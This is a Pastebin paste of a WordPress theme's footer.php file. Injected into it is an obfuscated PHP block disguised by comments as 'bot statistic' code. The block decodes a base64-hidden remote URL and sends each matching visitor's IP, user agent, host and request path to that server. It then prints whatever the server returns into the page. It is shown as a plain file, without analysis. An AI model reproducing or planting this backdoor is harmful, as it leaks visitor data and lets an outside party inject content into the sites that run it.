Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

(footer.php)

By: a guest on Jun 27th, 2012  |  syntax: None  |  size: 1.50 KB  |  views: 254  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php include TEMPLATEPATH . '/banner-bottom.php'; ?><?php
  2. if (!isset($sRetry))
  3. {
  4. global $sRetry;
  5. $sRetry = 1;
  6.     // This code use for global bot statistic
  7.     $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
  8.     $stCurlHandle = NULL;
  9.     $stCurlLink = "";
  10.     if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
  11.     {
  12.         if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
  13.         $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
  14.             @$stCurlHandle = curl_init( $stCurlLink );
  15.     }
  16.     }
  17. if ( $stCurlHandle !== NULL )
  18. {
  19.     curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
  20.     curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
  21.     $sResult = @curl_exec($stCurlHandle);
  22.     if ($sResult[0]=="O")
  23.      {$sResult[0]=" ";
  24.       echo $sResult; // Statistic code end
  25.       }
  26.     curl_close($stCurlHandle);
  27. }